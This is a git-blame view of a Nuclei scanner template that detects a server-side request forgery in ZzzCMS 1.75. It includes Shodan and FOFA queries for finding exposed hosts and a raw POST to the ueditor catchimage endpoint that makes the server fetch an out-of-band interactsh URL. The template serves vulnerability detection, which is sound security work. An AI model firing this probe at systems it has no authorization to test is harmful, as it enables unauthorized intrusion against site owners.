nuclei-templates/http/vulnerabilities/zzzcms/zzzcms-ssrf.yaml

50 lines
1.3 KiB
YAML
Raw Normal View History

2023-08-07 17:56:09 +00:00
id: zzzcms-ssrf
info:
name: ZzzCMS 1.75 - Server-Side Request Forgery
author: ritikchaddha
severity: high
2024-01-02 15:45:12 +00:00
description: ZzzCMS (A Lightweight ASP.NET content management system) is vulnerable to SSRF(Server-Side Request Forgery).
2023-08-07 17:56:09 +00:00
reference:
- https://www.hacking8.com/bug-web/Zzzcms/Zzzcms-1.75-ssrf.html
metadata:
verified: true
2023-10-14 11:27:55 +00:00
max-request: 1
2023-08-07 17:56:09 +00:00
shodan-query: html:"ZzzCMS"
fofa-query: title="ZzzCMS"
2024-09-10 08:22:50 +00:00
product: zzzcms
vendor: zzzcms
2023-08-07 18:19:51 +00:00
tags: zzzcms,ssrf,oast
2024-09-10 08:22:50 +00:00
classification:
cpe: cpe:2.3:a:zzzcms:zzzcms:*:*:*:*:*:*:*:*
2023-08-07 18:19:51 +00:00
variables:
filename: "{{to_lower(rand_text_alpha(4))}}"
2023-08-07 17:56:09 +00:00
http:
- raw:
- |
POST /plugins/ueditor/php/controller.php?action=catchimage&upfolder=1 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
2023-08-07 18:19:51 +00:00
source[0]=http://{{interactsh-url}}/{{filename}}.txt
2023-08-07 17:56:09 +00:00
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: body
words:
- '{"state":'
- 'list":'
condition: and
- type: status
status:
- 200
2024-09-10 08:22:50 +00:00
# digest: 490a004630440220339262dc59b62cb3b19303288bfc967cdda661cd394c67e7bb57ba997007cc9f022006e52d3e51f444f1c203c2d37c8ef2338c87e559a1a995e15d484b232de7935a:922c64590222798bb761d5b6d8e72950